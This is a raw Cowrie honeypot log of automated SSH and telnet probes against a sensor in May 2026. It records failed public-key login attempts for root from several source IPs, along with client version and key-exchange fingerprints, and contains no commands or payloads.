{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGiGxT8EHcndRvrB2iPdLJscZO82rkvo78nY9AvcT0oT4icsm4dOOH9HuHkVUanKvezJf8WSOo58SeS0VG27Qn6Tlge7cXzoIEnIp5EF+Jhxgc3fgOcJTBE+/H/NX1QXRB5J41EjM879XLcx4phynhOF3NPjqbWiHpVHuFJrVaP1+7cvh8kakDwxJMdBvowCw8WPCkBkaz2RWtx9pybzl27tUvuLAmrwskQfuXzidkumUIXZXl2/NI8Z3MnkT/mXb4wrAJ6myZo8dyZovCXmXt12wFrDdNkyxPf8A6xnROIUP2+1dStiuTLYGuMFyRo9AOPwViRBE3AOKxSeje2F3X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.495820Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDThAxacGTY67a+JtclNlemVPG1iYfClSLLv4Ao5qw+EXK0yhhVh+lbZaa/0vMM0krbhriB5n73N7jm8DiZxc0doNHPB14j7+gcWEP7CDUfl9Q5w/8XrvbfxQOsSrbc9Sd6ABYOmQxXx71WSrG6fyaEiPiYksohDJwijV+cPw+aPG0DR4zq/YIiMgS8Wt8LECzzPmpOIhzPnqKODrgH+svSxV9/JExffchLOQOyGZi7CjzhTccBAHDAQHsLEyzmDomv9ryJ2d12UZSDDKaudO/IEDQU6RyGARPPC6No7k55Xa643DfTf2a24sodf2sZHRJ6sc9Cv5Qrk73QALFSyRCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.585075Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDThAxacGTY67a+JtclNlemVPG1iYfClSLLv4Ao5qw+EXK0yhhVh+lbZaa/0vMM0krbhriB5n73N7jm8DiZxc0doNHPB14j7+gcWEP7CDUfl9Q5w/8XrvbfxQOsSrbc9Sd6ABYOmQxXx71WSrG6fyaEiPiYksohDJwijV+cPw+aPG0DR4zq/YIiMgS8Wt8LECzzPmpOIhzPnqKODrgH+svSxV9/JExffchLOQOyGZi7CjzhTccBAHDAQHsLEyzmDomv9ryJ2d12UZSDDKaudO/IEDQU6RyGARPPC6No7k55Xa643DfTf2a24sodf2sZHRJ6sc9Cv5Qrk73QALFSyRCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.589970Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKV0qyRfK6+FcwV+1Pulstrl1FfWPdoqIavQHspex8Heltor2pmjH5EQ0L6Z6P6GaaYm7PSB8N6tG+ikJAFl5pJ3kB+RO5CHaxBBz5618hkq+SYV9Ly5iJbktQ5yOFhVGYA5VHJ65LWpXDyfWClw4LTuEHwqxOxq6wdrb5faMk4M2098HhTxW7EYPYqy96FeS4LF0ymzwexUSE8ldK0EYAeJycFU/lCc0JN9TD0re6bZTa8jAm8gQSw7TI/5V9aKDxXv+lHY58g3/VkDtP2vAdFE56uBBg0zK3bBpt3jNckJvr0ZSdK6IhUCTmarb9T850d0Mc1W7O/3LebiL9E7sz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.678872Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKV0qyRfK6+FcwV+1Pulstrl1FfWPdoqIavQHspex8Heltor2pmjH5EQ0L6Z6P6GaaYm7PSB8N6tG+ikJAFl5pJ3kB+RO5CHaxBBz5618hkq+SYV9Ly5iJbktQ5yOFhVGYA5VHJ65LWpXDyfWClw4LTuEHwqxOxq6wdrb5faMk4M2098HhTxW7EYPYqy96FeS4LF0ymzwexUSE8ldK0EYAeJycFU/lCc0JN9TD0re6bZTa8jAm8gQSw7TI/5V9aKDxXv+lHY58g3/VkDtP2vAdFE56uBBg0zK3bBpt3jNckJvr0ZSdK6IhUCTmarb9T850d0Mc1W7O/3LebiL9E7sz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.684114Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lZzIPMTxlJCSVa54ObWRFW0wAJa/w8qZQ5LXoctketZiLOiILQMt3x1ryS9C1Hl3pcuzyrbcb2TnZo/2q8nd0aZkVNOLL43Ej0FoZUuNu9zNK3bTJQ7/25dhJqt3fl/n3xHSmU8AJjD0v0Cx+HKGurSwnjQQyvZCfWkVqU9vJnQVxvhtRcHeo5uk5gmRf4QOxaADN1wZ8KCwC31mn/vRThulJqhntwOk3Qg12pU5qUBqlycEOhOwbqHJzkpuYbItNH+g+BhNyLfiWum7cozAeJ3xS8eHa4KX9Jue3t9t037PwlFkNYqSg36ToVIYzo29xuvVDEbpWlIRCdTaqJbp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.787506Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lZzIPMTxlJCSVa54ObWRFW0wAJa/w8qZQ5LXoctketZiLOiILQMt3x1ryS9C1Hl3pcuzyrbcb2TnZo/2q8nd0aZkVNOLL43Ej0FoZUuNu9zNK3bTJQ7/25dhJqt3fl/n3xHSmU8AJjD0v0Cx+HKGurSwnjQQyvZCfWkVqU9vJnQVxvhtRcHeo5uk5gmRf4QOxaADN1wZ8KCwC31mn/vRThulJqhntwOk3Qg12pU5qUBqlycEOhOwbqHJzkpuYbItNH+g+BhNyLfiWum7cozAeJ3xS8eHa4KX9Jue3t9t037PwlFkNYqSg36ToVIYzo29xuvVDEbpWlIRCdTaqJbp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.791535Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:47.886047Z","src_ip":"102.129.200.117","session":"0d8ebc74b3e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":25600,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee44cdfe9ce9","protocol":"ssh","message":"New connection: 212.192.216.2:25600 (10.17.0.5:22) [session: ee44cdfe9ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.332799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.338069Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.423767Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:43:e7:9c:13:4b:b1:a7:ee:ac:da:4e:46:3f:2e:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIButh9OdcBbAHNlyLF6YoSRB57J1IolbLpTlYa2Xnlw7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bf:43:e7:9c:13:4b:b1:a7:ee:ac:da:4e:46:3f:2e:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.813352Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:43:e7:9c:13:4b:b1:a7:ee:ac:da:4e:46:3f:2e:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIButh9OdcBbAHNlyLF6YoSRB57J1IolbLpTlYa2Xnlw7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.817580Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:cd:c5:b7:0a:d0:4a:b0:33:53:58:4e:9f:ca:d5:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GoEJZuF05aRA5T4+0mwfKJpYYM6U5udWl4G1jatAILwuRu94bZigtfMRVQ2P1oYupED052vZz9Su2u2/mSiNsnEK6+HHCeJo+VPjiLyFzDnPysWU5EcWhV37EQr/GbSd+GKDOXQ0o6Vg6IsylQny4VxZeD9UaDOjXldEt/1X+v/GMOZxeb899pJNiG7HVYWYC+ki5e8UDW4VgIJXKyoRPHuJ+WDGiJYkLIh8SDJJnGPjsd3tCROU9RaoJN61baWy8Xjt5tH5qh2LkOgiwI7duIsgLJ5Q/9c/5ibmxpj7dTybPwLEZqcUzW6ZHBt2r+epNlyLTWUsGoM39vNGapr9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:cd:c5:b7:0a:d0:4a:b0:33:53:58:4e:9f:ca:d5:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.900721Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:cd:c5:b7:0a:d0:4a:b0:33:53:58:4e:9f:ca:d5:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GoEJZuF05aRA5T4+0mwfKJpYYM6U5udWl4G1jatAILwuRu94bZigtfMRVQ2P1oYupED052vZz9Su2u2/mSiNsnEK6+HHCeJo+VPjiLyFzDnPysWU5EcWhV37EQr/GbSd+GKDOXQ0o6Vg6IsylQny4VxZeD9UaDOjXldEt/1X+v/GMOZxeb899pJNiG7HVYWYC+ki5e8UDW4VgIJXKyoRPHuJ+WDGiJYkLIh8SDJJnGPjsd3tCROU9RaoJN61baWy8Xjt5tH5qh2LkOgiwI7duIsgLJ5Q/9c/5ibmxpj7dTybPwLEZqcUzW6ZHBt2r+epNlyLTWUsGoM39vNGapr9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.904388Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:0a:e6:71:d7:93:cd:9b:ba:00:7c:3b:e6:34:54:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLy8WiimFrQcypLR3gVYC3JuJxKiwAlvUbBAQQUtFdxnFU7z+oKeq9nJmHDzaZEaRL1KosB2DvMeA1KU0op5vkTanZuuB6dHhgeSu4TER1YTZWtG4pguKsDTjP55VOX5mKNL/n+ONN49fREqTjp1LaeWlLbT5/tdk1FWOmTMAV2Y52/HXfIqnPsqoV7x1scjaMx0zozBjiy2ESYZa++az85MktXoifDGxWO0YTGrjZJuPjQnU7HUn2foatLEwA7ks8ZHUxMDligqEO5BLJSglPp95tgm9C6ilvdoYAQwFEIjEKPkvQGWo6fjE3rs3nuELFdFv+98j4l4PKQaD+phf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:0a:e6:71:d7:93:cd:9b:ba:00:7c:3b:e6:34:54:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.986623Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:0a:e6:71:d7:93:cd:9b:ba:00:7c:3b:e6:34:54:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLy8WiimFrQcypLR3gVYC3JuJxKiwAlvUbBAQQUtFdxnFU7z+oKeq9nJmHDzaZEaRL1KosB2DvMeA1KU0op5vkTanZuuB6dHhgeSu4TER1YTZWtG4pguKsDTjP55VOX5mKNL/n+ONN49fREqTjp1LaeWlLbT5/tdk1FWOmTMAV2Y52/HXfIqnPsqoV7x1scjaMx0zozBjiy2ESYZa++az85MktXoifDGxWO0YTGrjZJuPjQnU7HUn2foatLEwA7ks8ZHUxMDligqEO5BLJSglPp95tgm9C6ilvdoYAQwFEIjEKPkvQGWo6fjE3rs3nuELFdFv+98j4l4PKQaD+phf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:56.990522Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:b2:4c:68:23:d2:88:c1:d3:18:cb:ff:96:0d:fd:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSED7mSnD81a1Hs1dsPmyZmX9MiWMXMUF61XP8S426d01UtPRC/dazpkrm5eiWIpWSaX5CwHTUAyFg9vnBhWp8WXbvNPunINUuwUsSP5HlIzZSQAhQbP7PlESa9NVC6ajnvP1uSG18VdAMAztP5z3TRcFJMZh7ujTGlJExafaWs0unKK/xZQjEJLZ3O0G6WbjAJcx2MVqVlwwOGx1CaV6lHqzSBC9wq98jpBcYgxP06wHG/WD/rZrpNZ5QnbE6TUVvNDUpSbB+e+mmmX6mK6IorEwxaxlJAecsdLQNVWEytrc4rGT4qYzH+ByXmipRF0dKgf9XJL3mp6f/dioOPQGR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:b2:4c:68:23:d2:88:c1:d3:18:cb:ff:96:0d:fd:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:57.075540Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:b2:4c:68:23:d2:88:c1:d3:18:cb:ff:96:0d:fd:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSED7mSnD81a1Hs1dsPmyZmX9MiWMXMUF61XP8S426d01UtPRC/dazpkrm5eiWIpWSaX5CwHTUAyFg9vnBhWp8WXbvNPunINUuwUsSP5HlIzZSQAhQbP7PlESa9NVC6ajnvP1uSG18VdAMAztP5z3TRcFJMZh7ujTGlJExafaWs0unKK/xZQjEJLZ3O0G6WbjAJcx2MVqVlwwOGx1CaV6lHqzSBC9wq98jpBcYgxP06wHG/WD/rZrpNZ5QnbE6TUVvNDUpSbB+e+mmmX6mK6IorEwxaxlJAecsdLQNVWEytrc4rGT4qYzH+ByXmipRF0dKgf9XJL3mp6f/dioOPQGR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:57.079320Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:f9:63:96:4a:c0:8e:9b:23:7b:f0:87:26:e0:6b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0TdVYI11yU5CNVGTOYGpPkjFYyTxOQdnpvB4RL2bz+PNze8rLNrH5e1XDzEzZC7bXeMyPQMvR669NJXV40MDj+b93BKetmMmNqPAqY9KMD5+qR3se73cDoht5JV7hhPP3MKi8PYCMhjjYYJmKwUW9wTr9NnJrub4aXereOI5SJAdvab/1KY15Rbpgb9hdzGeW7HY50N8FPny2MLK1uj4WCwpgwr0yb5uVTW4NzwJYsAZ+B4XsVMYlcr0tnzNop9dIXhb3uNyJHvI0h7IsD91rURkfqtehjpcEwctd+kQxixOOO9pUQAG4a+5eo8dQrDqNO6cjVU7YZc3AvUBSEzaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:f9:63:96:4a:c0:8e:9b:23:7b:f0:87:26:e0:6b:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:57.162106Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:f9:63:96:4a:c0:8e:9b:23:7b:f0:87:26:e0:6b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0TdVYI11yU5CNVGTOYGpPkjFYyTxOQdnpvB4RL2bz+PNze8rLNrH5e1XDzEzZC7bXeMyPQMvR669NJXV40MDj+b93BKetmMmNqPAqY9KMD5+qR3se73cDoht5JV7hhPP3MKi8PYCMhjjYYJmKwUW9wTr9NnJrub4aXereOI5SJAdvab/1KY15Rbpgb9hdzGeW7HY50N8FPny2MLK1uj4WCwpgwr0yb5uVTW4NzwJYsAZ+B4XsVMYlcr0tnzNop9dIXhb3uNyJHvI0h7IsD91rURkfqtehjpcEwctd+kQxixOOO9pUQAG4a+5eo8dQrDqNO6cjVU7YZc3AvUBSEzaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:57.165747Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:40:57.248471Z","src_ip":"212.192.216.2","session":"ee44cdfe9ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":55462,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92f4599aa56","protocol":"telnet","message":"New connection: 208.92.193.123:55462 (10.17.0.5:23) [session: e92f4599aa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:04.633783Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":60168,"dst_ip":"10.17.0.5","dst_port":22,"session":"25926c10b2fc","protocol":"ssh","message":"New connection: 154.16.115.163:60168 (10.17.0.5:22) [session: 25926c10b2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.110839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.116075Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.144824Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcaSUEKwig4qb2tCNQJcImjIWyY8J60mcmMsEK40QPtCD1aqSHd5eTxRoUT9aYiVN1UCLxM7ISqlaoLsPwtcnn89H4cEEeXmq7ncmbK35a69V6Uz/mLmnuttfp47QQrgezfCtCX1iXlf+oe9QcDldp/tkVJRHLzGZHWf2rps6m6+cUb6UWI7e1ao8HsDC09wtcsYFDNQyetXMB4uH4Fn32nt6Q9Vfkkum6fV6Gj4jsy1nHeUwB9gm6ByfJpOjuh9VFMiqKYXvs1a7rvuAKZZ9bEYhKe4Mf6xOIrBpbmGpKvOhR9Om34i56f7Kl83PSjT0iHMAeEAdLx2XqQFmayHIBYLGntYCfS1l3ARW8xRwHxRMmf7NgeMXO9EWznO8lsl+YZKQNF0qVZey24ZgzqfjMDHxgL/Asnm8Uzc+Ttgdw9KDM1tl9hPwJpBdUey/FAFfTZeRX9F3v2eZg9iv8YsMlwS0NXjEu1RYVkPFMJsAuiVEDUvim9MTL/WHopKqHkVaQ95LiikgYJPmCKyBdVaZR8NGA0E5tIuQVYslCbdRJFeScTL8u73RgJ7EltuYPBxZLTdQOxAzpe7xwNCzaoDHoRTMa6mzWGBHl5yHEeQvP98+aye8fVNZJQnzi7CKpnk2GFmtQ/d+Mh9QUWfupA22+UvOwdxnW7udTQwXDA4o2Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.260248Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
